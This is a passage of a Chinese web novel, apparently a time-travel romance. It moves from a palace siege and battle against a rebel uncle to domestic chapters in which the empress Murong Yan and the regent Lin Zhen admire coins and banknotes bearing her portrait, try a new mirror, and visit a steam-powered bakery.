“保护陛下!”林臻高呼,新军火枪营列阵还击,硝烟弥漫。 慕容嫣却突然勒马,目光锁定远处茶楼窗口:“在那里!” 她纵马冲去,墨黑凤袍在夜色中如鬼魅。 茶楼窗口,慕容璋正冷笑着放下弓箭:“好侄女,来得正好!” 慕容嫣破窗而入,长剑直指慕容璋:“皇叔,该收手了。” 慕容璋却大笑:“你以为这就结束了?看看城外吧!” 忽然大地震动,城外传来惊天动地的爆炸声!慕容嫣脸色一变:“那是...火药库方向!” 慕容璋得意道:“慕容德早已混入工部,此刻该得手了。没有火药,你们那些火枪就是烧火棍!” 慕容嫣眸中寒光乍现:“皇叔莫非忘了,朕的凤羽卫最擅长的可不是火器?” 她吹响凤哨,顿时屋顶跃下数十黑影,皆着墨黑劲装,袖口绣金凤纹样。暗器如雨,北疆士兵纷纷倒地。 慕容璋见状欲逃,却被慕容嫣一剑拦住:“皇叔要去何处?宗庙还在等着您呢。” 突然,一支毒镖射来!慕容嫣闪身避开,却见慕容德从暗处走出,手中拿着古怪的铁管:“陛下,尝尝这个新玩意?” 铁管喷出火焰,直扑慕容嫣面门!千钧一发之际,林臻扑到身前,以剑鞘格挡,剑鞘瞬间熔化! “蒸汽喷射器!”林臻惊骇,“你竟造出了这个!” 慕容德冷笑:“多得林大人留下的图纸。” 说着又要发射。 慕容嫣突然挥动拖尾,墨黑布料如幕布展开,竟暂时挡住火焰。她趁机掷出凤翎剑,正中慕容德手腕! 趁乱之际,慕容璋突然掏出一个哨子猛吹。顿时,所有北疆士兵如潮水般退去,消失在街巷之中。 “他们在城中必有密道!”林臻急道,“必须找出所有出口!” 慕容嫣凝视着满地狼藉,墨黑凤袍在余火中泛着幽光:“传令:全城搜查,凡有黑凤标记处,重点探查。”她忽然想起什么,“去天牢!” 天牢深处,果然发现新的密道。这次密道壁上不仅刻着黑凤,更刻着北疆文字。随行译官辨认后面色大变:“陛下,这写的是...凤血祭天,草原永昌!” 慕容嫣指尖抚过刻文,墨黑袖袍下的手微微颤抖:“他们想要朕的命祭旗。” 她忽然冷笑,“那也要看有没有这个本事!” 回到宫中,她立即更换战袍。这次是墨黑轻甲,以金线勾勒凤凰纹样,拖尾缩短至膝,更利行动。她对着铜镜整理战甲,林臻默默为她系紧束带。 “夫君可怕?”她忽然问。 林臻摇头:“能与嫣儿并肩而战,此生无憾。” 慕容嫣转身,轻抚他面上伤痕:“等此战结束,朕要与你共享太平盛世。” 忽然战鼓震天,号角长鸣。探马飞报:“陛下!北疆主力开始攻城了!投石机已架起,正在轰击德胜门!” 慕容嫣披上墨黑斗篷,凤目如电:“走吧,让草原看看大乾凤凰的厉害。” 城楼之上,箭矢如雨。慕容嫣屹立垛口,墨黑斗篷在风中狂舞。她举起望远镜,只见敌军如潮水般涌来,靖王旗号在风中招展。 “火炮准备!”她冷声下令。 然而炮兵面色惨白:“陛下...火药受潮,大多无法使用!” 慕容嫣瞳孔骤缩,随即恢复冷静:“那就用滚木礌石,用桐油金汁!大乾将士,随朕死守城垣!” 她亲自挽弓搭箭,凤翎箭如流星般射入敌阵,每箭必中敌将。将士们见女帝亲征,士气大振,纷纷死战不退。 鏖战至黄昏,敌军暂时退去。慕容嫣倚在垛口,墨黑战甲上溅满血污。林臻为她包扎手臂伤口,心疼不已:“陛下不该如此冒险。” 慕容嫣却望着城外连绵的敌军营火:“他们在等。” “等什么?” “等城内内应信号。”慕容嫣眸光幽深,“朕倒要看看,还有多少魑魅魍魉藏在暗处。” 是夜,她秘密召见心腹。暗室中烛火摇曳,墨黑战袍上的血污如暗梅绽放。 “明日敌军必全力攻城。”她指着沙盘,“我们要在这里设伏...” 忽然窗外传来异响!一支箭破窗而入,直射慕容嫣面门!她偏头避开,箭矢钉在墙上,箭杆上绑着纸条。 展开一看,只有一行血字:“凤死城破”。 慕容嫣冷笑,将纸条掷入火盆:“传令:按计划准备,朕要亲自会会这位猎凤人。” 她走出暗室,墨黑拖尾拂过门槛。 夜空无月,唯有烽火映照着她坚毅的面容。 凤凰浴火,方能重生。 而她这只墨凤,早已准备好迎接烈焰。 第831章 你喜欢我还是喜欢钱 漠北的事情暂告一段落。 时值深秋,大乾王朝的京城却不见丝毫萧瑟。 宽阔的街道以水泥铺就,平整坚实,纵是马车疾驰而过,亦只扬起轻微尘土。 街道两旁,新式的蒸汽驱动公共马车沿着固定轨道哐当哐当地运行,穿着各色工装的人们行色匆匆,却又面色红润,眼中充满对生活的盼头。 高耸的烟囱林立于城市外围的工业区,喷吐着代表生产力的白烟,与湛蓝的天空构成一幅充满力量感的画卷。 这一切的繁荣景象,皆源于十年前那场由穿越者林臻一手推动的、翻天覆地的第一次工业革命。 而缔造这盛世景象的核心人物之一,如今却悠闲得令人发指。 大乾王朝实际上的权力中心,并非那庄严肃穆的紫禁城,而是京城西侧,依山傍水、占地极广的摄政王府。 王府之内,亭台楼阁巧妙结合了古典雅致与现代的实用与舒适。 玻璃窗取代了传统的纸糊窗棂,使得室内光线明亮。 甚至在一些主要通道和房间里,还安装了利用蒸汽动力辅助的简易电石灯,确保夜间亦如白昼。 王府后花园,秋菊正艳,丹桂飘香。 一身黑色凤袍的女帝慕容嫣,正慵懒地倚在一张铺着柔软天鹅绒垫子的摇椅里。 那凤袍乃是以最上等的苏绣锦缎,由宫廷匠人耗费数月心血制成,通体玄黑,却在阳光下流转着暗金色的凤凰暗纹,华贵无比。 长达近两丈的拖尾如瀑布般铺陈在草地上,裙摆边缘绣着繁复的云纹与金线滚边,极尽帝王威仪。 然而,这位本该威临天下、执掌乾坤的女帝,此刻做的却是一件极其“不符身份”的事情。 她那双曾经执掌玉玺、批阅奏章、如今依旧纤长白皙如玉雕般的手,正捧着一个沉甸甸的紫檀木盒,盒子里满满当当地装着的,并非珠宝玉器,而是新近发行、还带着些许金属气息的新型铜币。 慕容嫣微微侧着身子,小心地不让那华丽的拖尾压到身下的花草。 她拈起一枚铜币,对着秋日明媚的阳光,仔细地瞧着,那双凤眸眯起,流露出一种无比满足和痴迷的神情。 铜币的正面,是她本人的侧面浮雕头像。 雕刻师技艺高超,将她头戴凤冠、面容清冷绝艳、带着一丝威严的容颜刻画得栩栩如生,甚至连睫毛的细微弧度都清晰可见。 边缘环绕着一圈精致的大乾通宝篆体字。背面则是盘龙纹与发行年份。 “嗯…这一批的铸币工艺又精进了不少,线条更清晰了。”她低声自语,指尖爱惜地摩挲着铜币上自己的轮廓,嘴角抑制不住地向上扬起。“瞧瞧这光泽,这手感,真是太喜人了。” 她一枚一枚地数着,神情专注得仿佛在检阅最忠诚的军队,清脆的金属碰撞声在她听来,比宫廷乐师演奏的任何丝竹管弦都要悦耳动听。 “一千三百九十七…一千三百九十八…”她数得极其认真,偶尔还会因为发现一枚似乎特别光亮或者图案特别清晰的而单独挑出来,放在一边,像是发现了什么宝藏。 谁能想到,这位曾经在朝堂上雷厉风行、令群臣敬畏的女帝,退居幕后后最大的爱好,竟然是数钱——数印着自己头像的钱。 “嫣儿,你又躲在这里数你的私房钱了?”一个带着明显笑意的温和男声从花园月亮门的方向传来。 慕容闻声抬头,脸上的清冷瞬间冰雪消融,化作明媚如春水的笑意。 只见林臻穿着一身简便的靛蓝色工装,似乎是刚从某个工坊回来,袖口还沾着些许机油的痕迹。 他身材挺拔,面容俊朗,经过这些年执掌国事的磨砺,眉宇间更添了几分沉稳与睿智,唯有看向慕容嫣时,那双眼睛才会流露出毫无保留的温柔与宠溺。 “这怎么是私房钱?”慕容嫣扬起下巴,故意摆出女帝的架势,只是那眼中的笑意彻底出卖了她,“这乃是国朝之根本,经济之血脉!朕…我这是在体察民情,核查货币流通的重要环节!” 林臻忍俊不禁,走到她身边,很自然地伸手揉了揉她的头发:“是是是,我的女帝陛下最是勤政爱民了。连数钱都数得这般深明大义。” 他瞥了一眼那沉甸甸的盒子,“怎么样,今天体察出多少民情了?” “快一千四百枚了!”慕容嫣献宝似的把盒子往他面前推了推,眼睛亮晶晶的,“臻哥哥,你看,这一批的成色是不是特别好?我的头像是不是更漂亮了?” 林臻俯身,配合地仔细看了看,然后认真点头:“嗯,铸币局那帮家伙总算没白费我新给他们改进的冲压机床。至于头像…”他故意停顿了一下,看着慕容嫣微微屏住呼吸期待评价的模样,才笑着刮了下她的鼻尖,“当然是天下第一好看。铸在铜币上,倒是委屈这容颜了。” “油嘴滑舌!”慕容嫣嗔怪地拍开他的手,但脸上的欢喜却浓得化不开,“就会哄我开心。” “哪是哄你,”林臻笑着,很是熟稔地伸手,轻轻将她从摇椅上拉起来,“我说的是实话。而且,能让我大乾的女帝陛下不用操心国事,安心在家数钱养花,这才说明天下真的太平了,我这摄政王才算没白干,对吧?” 慕容嫣就着他的力道站起身,那长长的凤袍拖尾在草地上曳过。她站定后,却没有松开林臻的手,反而就势向前一步,伸出双臂,软软地环住了他的脖颈。 林臻微微一怔,随即笑意加深,非常自然地伸手揽住了她纤细却有力的腰肢,将她的身子贴近自己。 工装上淡淡的机油味与她身上清雅的熏香混合在一起,形成一种独特而亲密的气息。 “是啊,天下太平了。”慕容嫣将侧脸贴在他的胸膛上,听着他沉稳有力的心跳,声音变得软糯,带着一丝撒娇的意味,“所以朕才能偷懒嘛。有你在外面操持一切,我放心得很。” 她仰起脸,下巴抵着他的胸口,眼神娇媚如丝,“就是…太辛苦我的夫君了。” 阳光透过树叶的缝隙,在她精致的脸庞上投下斑驳的光影,长长的睫毛扑闪着,那褪去了朝堂威严、只剩下全然的依赖与爱恋的模样,让林臻的心瞬间软得一塌糊涂。 “为我的女帝陛下效力,谈何辛苦。”林臻低下头,额头轻轻抵着她的额头,鼻尖蹭着鼻尖,呼吸可闻。 慕容嫣脸上飞起一抹红晕,眼神闪烁,似乎有些不好意思,但环着他脖颈的手臂却收得更紧了。她微微踮起脚尖,几乎将全身的重量都挂在了林臻身上。 林臻感受到她的依赖,低笑一声,手臂稍稍用力,便托着她的臀腿,将她轻松地抱了起来。 慕容嫣配合地调整姿势,顺势侧身坐在了他的大腿上——幸好摇椅足够宽大。 那华丽无比的两丈长的凤袍拖尾,此刻也蜿蜒堆叠,一部分垂落在摇椅边,一部分铺散在林臻的腿旁,在阳光下泛着奢华的光泽。 她整个人窝在林臻怀里,像是找到了最舒适温暖的巢穴。 林臻一手稳稳地环着她的腰,防止她掉下去,另一只手则轻轻握住了她的一只柔荑,与她十指相扣。 “真的不怀念执掌大权的感觉?”林臻把玩着她纤细的手指,轻声问道。 慕容嫣在他怀里找了个更舒服的位置,像只慵懒的猫咪般蹭了蹭,摇了摇头:“一点也不。批奏折哪有数钱好玩?面对那些老古板大臣,哪有对着我的臻哥哥开心?” 她拿起一枚刚才特意挑出来的、特别光亮的铜币,献宝似的举到林臻眼前,“你看这个,是不是特别完美?送给你!” 林臻接过那枚带着她体温的铜币,指尖在她头像的浮雕上轻轻划过,目光却始终落在她因兴奋而泛着红晕的脸上,眼神深邃:“在我眼里,再完美的铜币,也不及你万分之一。” 慕容嫣被他看得脸颊更红,心跳加速,却强装镇定地哼了一声:“又说好听的哄我…那…那你喜欢铜币,还是喜欢我?” 这问题幼稚得宛如孩童,但从这位前女帝口中问出,却充满了娇憨与暧昧。 林臻低笑,胸腔的震动清晰地传达到紧贴着他的慕容嫣身上。他凑近她的耳边,温热的气息拂过她敏感的耳廓,声音低沉而充满磁性:“我当然喜欢…” 他故意拉长了语调,看着怀里的人儿不自觉地屏住了呼吸,才慢悠悠地接下去,“…喜欢铸着我家嫣儿头像的铜币啊。” “你!”慕容嫣顿时柳眉倒竖,作势就要从他腿上起来。 林臻大笑,手臂一紧,将她牢牢箍在怀里,不让她逃走,连忙安抚道:“逗你的,逗你的!铜币再好,也是死物。我家嫣儿是活色生香、天下独一无二的珍宝,在我心里,江山社稷、亿万金银,都不及你一根头发丝重要。” 慕容嫣这才重新软倒在他怀里,嘴角控制不住地向上扬起,却还是故意嘟囔道:“这还差不多…算你识相。” 她安心地靠在丈夫坚实的怀抱里,拿起那盒铜币,又开始一枚一枚地数起来,清脆的声响伴随着摇椅轻微的摇晃,以及林臻沉稳的心跳声,构成了她此刻全世界最安心的乐章。 阳光温暖,岁月静好。花园里花香馥郁,怀中的“铜臭”味也变得无比香甜。 对她而言,这印着她头像的铜币,早已不仅仅是货币,更是林臻为她打造的这个太平盛世的象征,是他能力的证明,是她幸福生活的底气。 每一枚铜币的流转,都仿佛在诉说着林臻对她的爱意与守护。 数着数着,她的速度慢了下来,呼吸变得均匀绵长,竟就这样依偎在林臻的怀里,抱着她心爱的铜币盒子,沉沉睡去了。 长而密的睫毛在眼睑下投下淡淡的阴影,嘴角还带着一丝心满意足的微笑。 林臻感觉到怀中人儿身体放松下来,低头看见她恬静的睡颜,目光柔软得不可思议。 他调整了一下姿势,让她睡得更舒服,又小心地将那盒沉甸甸的铜币从她怀里轻轻取出,放在一旁。 他拉起自己工装外套的一角,盖在她的身上,然后就这样静静地抱着她,看着秋日的阳光透过枝叶,在她绝美的容颜和那身奢华的黑金色凤袍上跳跃。 天下太平,江山稳固,爱人在怀。 对于林臻而言,穿越至此,奋斗至今,所求的,也不过就是此刻这般景象。 他低下头,一个轻柔如羽的吻,悄然落在慕容嫣光洁的额头上。 怀中的人儿在睡梦中无意识地呢喃了一声,往他温暖的怀抱深处又钻了钻。 秋风拂过,带来几片桂花,落在他们身旁,香气袭人。 第832章 这里应该是五进一 秋意渐浓,摄政王府内的生活却依旧温暖如春。 上一次慕容嫣在花园里边数钱边在夫君怀里睡着后,林臻便特意命人在他们最常待的暖阁里铺上了更厚实柔软的波斯地毯,免得他的女帝陛下偶尔兴起席地而坐数钱时着了凉。 暖阁四面皆是通透的玻璃窗,将午后温暖的阳光毫无保留地迎入室内。 角落处,一座造型精巧的黄铜蒸汽暖炉正嘶嘶地散发着令人舒适的热量,确保屋内暖意融融,与屋外的微寒形成了鲜明对比。 慕容嫣今日并未穿着那身繁复庄重的黑色凤袍,而是换了一身同样玄色、但款式更为简便的宫装长裙,裙摆上以暗金丝线绣着细密的云凤纹样,少了几分朝堂上的压迫感,多了几分居家的慵懒与妩媚。 她赤着一双白玉般的足,蜷腿坐在厚厚的地毯上,身边散落着好几个打开的紫檀木盒,里面无一例外都装满了印着她头像的铜币。 她面前还放着一本厚厚的账册和一支林臻特意为她改良的、握感更舒适的自来水笔。 她正一边清点着新送来的“岁入”,一边认真地在账册上记下一笔笔数字,神情专注,仿佛在处理什么军国大事。 “嗯…东市蒸汽纺织工坊上月利税折合铜币三千七百枚…西城矿场分红一千二百枚…”她小声念叨着,笔下写下娟秀却有力的字迹,“夫君弄的这个记账法子,倒是清楚明白得很。” 正忙碌间,暖阁的门被轻轻推开,林臻走了进来。 他依旧是一身便于活动的工装打扮,只是外面罩了件挡风的深色呢子外套,手上还拿着一个牛皮纸封筒。 “嫣儿,又在盘算咱们的家底了?”林臻笑着脱下外套,挂在门口的衣架上,然后很自然地走到慕容嫣身边,学着她的样子,毫不在意地席地而坐。 慕容嫣抬起头,看到他,眉眼立刻弯了起来,很自然地将身子歪过去,靠在他肩膀上:“夫君回来啦。快帮我看看,这个总数我算了两遍,怎么好像对不上…” 她指着账册上的一处,语气带着点小小的苦恼和依赖。 林臻就着她靠过来的姿势,伸手环住她的腰,低头仔细看了看账册,又心算了一下,笑道:“我的小财迷陛下,这里进位进错了。” 他用手指点了一下某个数字,“看,这里应该是五进一,你忘了进,所以后面总数就差了一点。” “啊!原来是这里!”慕容嫣恍然大悟,轻轻拍了下自己的额头,有些不好意思,“还是夫君厉害。” 她拿起笔,赶紧修改过来。 林臻看着她认真纠错的侧脸,鼻尖萦绕着她发间清雅的香气,心中一片宁静满足。 他拿起带来的那个牛皮纸封筒,递到她面前:“喏,给你带了点新玩具。” “是什么?”慕容嫣立刻被吸引了注意力,放下笔,好奇地接过封筒。 入手沉甸甸的,显然里面装了不少东西。 她熟练地拆开封口,将里面的东西倒在铺着柔软羊毛毯的地上。只听一阵哗啦声响,倒出来的并非铜币,而是一沓沓印刷极为精美的纸券。 纸券用的是一种特制的、略带韧性的纸张,触手生温,不易破损。券面图案繁复,色彩鲜明,防伪标记做得极其到位。 最引人注目的是,这些纸券的正中央,赫然印着慕容嫣的头像! 与她侧面的铜币浮雕不同,这纸券上的头像是正面的凤冠宫装半身像,容颜绝美,威仪之中带着一丝浅笑,比铜币上的更加清晰、更加生动。 头像下方印着面额,有“拾圆”、“伍拾圆”、“壹佰圆”等多种,旁边还有繁复的花纹和“大乾皇家银行”的字样,以及林臻和慕容嫣并列的朱印。 “这是…”慕容嫣惊讶地拿起一张壹佰圆面值的纸券,对着光看,上面的水印和暗纹清晰可见,工艺远超这个时代普通的印刷术。 “新发行的纸币,也叫银行券。”林臻解释道,伸手拿过一张,指着上面的图案,“以后大宗交易就不用拉着几车铜币那么麻烦了,用这个就行。轻便,好携带,也安全。我打算先在京城和几个大工业城市试点流通。” 他的语气平淡,仿佛在说一件微不足道的小事,但慕容嫣却知道,这又是足以改变大乾经济格局的一大创举。而这项创举最让她心花怒放的是—— “这上面也是我!”她拿起一张又一张不同面值的纸币,看着上面不同角度、但同样精致绝伦的自己,喜悦之情溢于言表,眼睛亮得惊人, “比铜币上的更清楚!更漂亮!夫君,你怎么想到的?” 林臻看着她欣喜的模样,忍不住笑着捏了捏她的鼻尖:“因为我家嫣儿最好看啊,印在钱上,百姓们看着也欢喜,用着也放心不是?” 他顿了顿,语气带着几分调侃,“怎么样,以后数钱是不是更轻松了?一百圆的纸币,一张可就抵一百枚铜币呢。” 慕容嫣爱不释手地摩挲着纸币上光滑的涂层和精致的凹凸纹路, 闻言,立刻将手中那叠纸币抱在怀里,扬起下巴,一副“这都是我的”的小模样:“哼,铜币我也要数,纸币我也要数!都是我的!” 那娇憨霸道的语气,逗得林臻哈哈大笑。他伸手想拿回一张看看,慕容嫣却下意识地一缩手,抱得更紧了,警惕地看着他:“干嘛?给我的就是我的了!” “好好好,都是你的,连我都是你的。”林臻失笑,凑过去在她光洁的脸颊上亲了一下,“不跟你抢。只是这些是样板,先拿来给你过过目,让你开心一下。大规模发行还要等些时日。” 慕容嫣这才放松下来,喜滋滋地重新清点起她的新宝贝,一张一张地看,一张一张地数,比之前数铜币还要投入。 那专注欢喜的模样,落在林臻眼里,比任何美景都要动人。 数了一会儿,她忽然想起什么,抬起头,眼中带着狡黠的光:“夫君,这纸币发行,是不是又能赚很多很多…那个词叫什么来着?‘铸币税’?” 林臻挑眉,惊讶于她连这个都记住了,点头笑道:“陛下圣明,确实如此。” 慕容嫣顿时笑靥如花,她放下纸币,忽然手脚并用地爬到他身边,然后——一如上次在花园那般——熟练地跨坐到他腿上,双臂软软地环住他的脖颈。 柔软的身体紧贴,馨香的气息扑面而来。林臻非常自然地搂住她的腰,稳稳地托住她。 “夫君~”慕容嫣的声音拖得长长的,又软又糯,带着明显的撒娇意味,“你真好~”她说着,主动凑上去,用脸颊亲昵地蹭了蹭林臻的下巴。 林臻被她蹭得心痒难耐,低笑道:“就因为给你印了票子,发了大财,所以我才好?” “才不是!”慕容嫣立刻反驳,她微微后仰,看着林臻的眼睛,神情变得认真而专注, “是因为你总是能想到这些厉害的办法,让大乾越来越好,让我…让我可以这么安心地、什么都不用担心地,每天只管喜欢你就好了。” 她的话语直白而热烈,带着毫无保留的信任与爱恋。 林臻的心被她这句话烫得暖暖的,搂着她的手臂收紧了些。 慕容嫣看着他深邃眼眸中自己的倒影,脸上微微发烫,却又大胆地继续说了下去:“所以…我要奖励你!” “哦?什么奖励?”林臻饶有兴致地问。 慕容嫣眼波流转,闪过一丝羞涩,却更多是妩媚。 她凑到林臻耳边,呵气如兰,用只有两人能听到的声音轻轻说:“我让侍女用你弄回来的那些香喷喷的、叫什么…精油的东西,泡好了热水…夫君忙了一天,肯定累了,一起去沐浴解乏好不好?” 话语末尾,气息已经有些不稳,脸颊红得如同晚霞。 林臻眸光骤然深暗,搂着她的手微微用力。他哪里听不出这邀请背后的旖旎意味。他的女帝陛下,总是在这种时候,展现出最极致的诱惑。 “陛下有旨,臣…”他声音低沉,带着一丝沙哑,“岂敢不从?” 说着,他托着慕容嫣的腿弯和后背,轻松地将她打横抱了起来。 慕容嫣惊呼一声,下意识地搂紧他的脖子,怀里的纸币散落了一地,也顾不上了。 她将滚烫的脸颊埋进林臻的颈窝,听着他有力而略显急促的心跳,感觉自己整个人都快要烧起来了。 林臻抱着她,大步走向暖阁后方连通着的、早已备好香汤浴池的侧殿。 氤氲的水汽和馥郁的精油芳香弥漫在温暖的侧殿之中,模糊了玻璃窗上的景象,只留下两个紧密相拥的身影,和一室旖旎春色。 至于散落在地毯上的纸币和铜币? 此刻,谁还在意呢。 在摄政王和女帝陛下看来,那不过是他们太平盛世与美满姻缘中,最微不足道的一点点缀罢了。 第833章 水银镜子 秋日的清晨,天色亮得比夏日稍晚一些。 一层薄薄的、如同轻纱般的雾气笼罩着摄政王府,给雕梁画栋的殿宇楼阁增添了几分朦胧的诗意。 寝殿内,巨大的玻璃窗将微凉的晨光和庭院里渐黄的秋景一同框了进来,在地板上投下斑驳的光影。 慕容嫣是在一阵轻微却持续的窸窣声中醒来的。 她迷迷糊糊地睁开眼,首先映入眼帘的便是林臻宽阔的背脊。他已经起身,正背对着床榻,就着窗外透进来的晨光,似乎在摆弄着什么。 她慵懒地哼了一声,带着刚睡醒的沙哑鼻音:“夫君…这么早,在做什么?” 林臻闻声回过头,脸上带着温和的笑意。他走到床边坐下,俯身在她光洁的额上落下一个早安吻:“吵醒我的嫣儿了?没什么,得了件小玩意儿,想着给你个惊喜。” 他的指尖轻轻拂开她颊边几缕散乱的青丝,动作温柔至极。 慕容嫣揉了揉眼睛,睡意消散了些许,好奇心被勾了起来。 她撑着身子坐起,丝绸寝衣的肩带滑落些许,露出线条优美的锁骨和一片白皙肌肤。 “什么小玩意儿?”她很自然地将身子靠向林臻,探头想看他刚才在忙活什么。 林臻笑了笑,伸手从旁边的梳妆台上取过一件东西。 那是一个做工极其精巧的鎏金手持镜,镜柄雕琢成缠绕的凤凰形态,羽翼细节栩栩如生,镶嵌着细小的红色宝石作为凤睛。 最奇特的是,那镜面异常清晰明亮,几乎能映照出人脸上最细微的绒毛,与当下普遍使用的铜镜那种朦胧模糊的映像截然不同。 “这是…”慕容嫣惊讶地接过镜子,对着自己的脸照了照,甚至能清晰地看到自己眼角刚睡醒时的一丝慵懒痕迹,“这镜子怎会如此清晰?” “利用最新的玻璃镀银技术做的,我叫它水银镜。”林臻解释道,语气带着几分得意,“比铜镜清楚多了吧?以后我的嫣儿梳妆,就不用对着模糊的影子猜了。” 慕容嫣爱不释手地左右照着,看着镜中无比清晰的自己,眉眼、唇色、甚至每一根发丝都清清楚楚。她忽然想起什么,嗔怪地瞥了林臻一眼:“夫君是不是嫌我平日用铜镜梳妆太慢,耽误你时间了?” 林臻失笑,伸手将她连人带被子一起揽进怀里:“胡说八道。我是想着,天下最美的容颜,合该用最清晰的镜子来映照。模糊的铜镜,岂不是委屈了我家陛下?” 这情话听得慕容嫣心中甜丝丝的,她抿嘴一笑,放下镜子,转身搂住林臻的脖子,在他唇上飞快地亲了一下:“赏你的!” “就一下?”林臻挑眉,显然不满足,手臂收紧,低头便欲加深这个早安吻。 慕容嫣却笑着躲开,拿起那面新镜子挡在两人之间:“等等…夫君,你看。” 林臻疑惑地看向镜面。 只见清晰的镜子里,映出他们两人相拥的身影。 他穿着寝衣,襟口微开,而她云鬓微乱,寝衣肩带滑落,香肩半露,依偎在他怀里,脸颊泛着晨起的红晕,眼波流转间带着一丝未散的睡意和明显的娇媚。 两人姿态亲密无间,旖旎风光在极致清晰的镜面下一览无余。 这比直接看到彼此,更多了一种别样的、令人心跳加速的视觉冲击。 “这镜子…”慕容嫣看着镜中的景象,声音微微有些发颤,脸上红晕更甚,“…也太清楚了…”连她自己都觉得镜中那副依偎在夫君怀中的慵懒模样,实在太过撩人。 林臻的目光也暗沉了下来,他低笑一声,声音喑哑:“清楚才好。” 他伸手,轻轻拿开那面碍事的镜子,随手放到床边, “看得清,才知道我的嫣儿有多美。” 言罢,不再给她躲避的机会,准确地攫取了那两瓣柔软芬芳的唇。 晨光透过窗棂,温柔地洒在相拥的两人身上,将身影拉长,交织在一起,仿佛本就一体。 良久,慕容嫣才气息不稳地伏在林臻肩头轻轻喘息,脸颊绯红,眼含水光。 林臻轻抚着她的后背,帮她顺气,语气恢复了之前的温和:“好了,不闹你了。今日无事,我陪你去城里新开的蒸汽烘培坊尝尝鲜?听说他们用新式烤炉做的糕点,别有风味。” 慕容嫣闻言,眼睛一亮,立刻抬起头:“就是夫君上次提过的,能精确控制火候的那种烤炉?” “对。”林臻点头,替她将滑落的肩带拉好,又细心地理了理她微乱的长发,“想去吗?” “想去!”慕容嫣立刻点头,但随即又蹙起好看的眉,“可是要梳妆更衣,要好久的…” 她说着,目光不由自主地瞥向那面清晰得过分的镜子,意思很明显——以前对着模糊铜镜,差不多就行,现在对着这么清楚的镜子,怕是忍不住要精益求精,花费的时间恐怕要翻倍了。 林臻顿时明白了她的顾虑,不由大笑起来:“原来这清晰镜子还有这等‘坏处’?” 他捏了捏她的鼻尖,“无妨,今日我们有的是时间。夫君亲自为你绾发画眉,可好?” 慕容嫣惊喜地看着他:“真的?夫君今日不忙?” “工坊那边初步运转正常,铁路勘探也按计划进行着,纸币发行筹备有专人负责。”林臻细细数来,语气轻松,“偷得浮生半日闲,今日只管陪我的嫣儿。” 慕容嫣顿时笑逐颜开,立刻从他怀里爬起来,赤着脚跳下床榻,拉着他的手就往梳妆台跑:“那快些!我要梳那个最复杂的飞仙髻,夫君你答应过要学给我的!” 林臻任由她拉着,脸上满是纵容和宠溺的笑:“好好好,飞仙髻就飞仙髻。只要嫣儿不嫌我手笨。” 明亮的梳妆台前,慕容嫣端坐在绣墩上,林臻站在她身后,手里拿着玉梳,神情认真地梳理着她如瀑的青丝。那面崭新的水银镜清晰地映出两人身影,一个眉眼含笑,满是依赖与幸福,一个动作轻柔,眼神专注而充满爱意。 林臻的手法确实算不上顶熟练,但极其耐心细致。他按照慕容嫣的指挥,一点点地将长发分区、挽起、固定,偶尔笨拙地扯到一两根发丝,便会引来慕容嫣娇气的呼痛声和他连忙的低声安抚。 “夫君,这边歪了一点…” “这里,对,这根簪子要从这个孔里穿过去…” “哎呀,不是那样…” 梳妆台上,除了原有的胭脂水粉,还散落着几枚亮闪闪的铜币和那张她特别喜欢的百元纸币样板,与她琳琅满目的首饰放在一起,显得格格不入又莫名和谐,无声地诉说着女主人的独特爱好。 过程虽然有些“坎坷”,但最终,一个略显生涩却依旧华美非常的飞仙髻还是在林臻手下成型了。他又拿起螺黛,极为小心地为她描画眉形。 慕容嫣乖乖仰着脸,闭上眼睛,感受着夫君指尖的温度和呼吸拂过脸颊的微痒,嘴角始终带着甜蜜的弧度。 当最后一点口脂晕染开来,妆成之后,慕容嫣对着镜子左右照看。镜中人云鬓花颜,眉如远山,唇似樱桃,华贵明艳不可方物。 “夫君手艺真好。”她转过身,抱住林臻的腰,仰头夸赞,眼睛里仿佛有星星闪烁。 林臻低头看着她,眼中满是惊艳与自豪:“是我的嫣儿底子太好。” 他替她理了理鬓角,“好了,我的女帝陛下,可以起驾用膳,然后出巡烘焙坊了吗?” 慕容嫣用力点头,挽住他的手臂:“准奏!” 阳光正好,将两人依偎着走出寝殿的身影拉长,空气中弥漫着幸福与安宁的味道。新的一天,依旧是他们平凡而甜蜜的日常。 第834章 烘焙坊 时近中午,秋日的阳光变得明亮而温暖,驱散了清晨的薄雾。 摄政王府那辆标志性的、由四匹纯色骏马拉动的黑色鎏金马车,在一队便装精锐侍卫的护卫下,平稳地行驶在京城宽阔的水泥街道上。 马车并未悬挂太多彰显身份的徽记,但其非凡的气派和护卫的阵势,依旧让沿途的百姓纷纷侧目,恭敬地让开道路。 车厢内铺着厚厚的软垫,角落里甚至固定着一个利用蒸汽循环原理的小小暖炉,确保车内温暖如春。 慕容嫣端坐着,已然换上了她那身极致华贵的正式行头——玄黑色苏绣凤袍,袍身上暗金色的凤凰纹样在透过车窗的光线下流转着威严而神秘的光泽。 宽大的袖口与衣摆处,金线绣出的云纹繁复而精致。最为瞩目的,便是那长达近两丈的拖尾,如墨色瀑布般铺陈在车厢内柔软的地毯上,几乎占去了小半个车厢的空间,极尽帝王雍容。 林臻坐在她身旁,依旧是一身低调的靛蓝工装,与慕容嫣的盛装形成了鲜明对比,却又奇异地和谐。他一只手随意地搭在窗沿,另一只手则始终握着慕容嫣的手,指尖有一下没一下地摩挲着她光滑的手背。 “夫君,那蒸汽烤炉,当真那般神奇?无需人力扇风,便可自行控制火候强弱?”慕容嫣侧着头,好奇地问道。她对于林臻弄出来的这些新奇事物,总是抱有极大的兴趣,尤其是可能与“享受”相关的。 “原理并不复杂,利用蒸汽动力驱动几个调节阀门,控制进入烤炉的空气和燃料量而已。” 林臻笑着解释,语气轻松,“好处是温度稳定,受热均匀,烤出来的点心色泽和口感应该会比传统法子更好。” 慕容嫣似懂非懂地点点头,但重点抓得很准:“那就是更好吃了?” 她眼睛亮了起来,带着纯粹的期待,仿佛一个即将得到心爱糖果的孩子,与她一身威仪凤袍形成了有趣的反差。 “理论上是的。”林臻宠溺地捏了捏她的手指,“待会尝过便知。” 马车缓缓停下,车窗外传来侍卫长的低声禀报:“世子,娘娘,烘焙坊到了。” 林臻率先下车,然后转身,细心地将手伸给慕容嫣。 慕容嫣扶着他的手,仪态万方地缓步下车。 当她站定在烘焙坊门前时,那身长达两丈的玄黑凤袍拖尾也随之如水银泻地般从车厢内流淌而出,铺展在干净的石板地面上,在秋日阳光下闪烁着低调而奢华的光芒,瞬间吸引了所有路人的目光。 “是女帝陛下!” “还有摄政王殿下!” 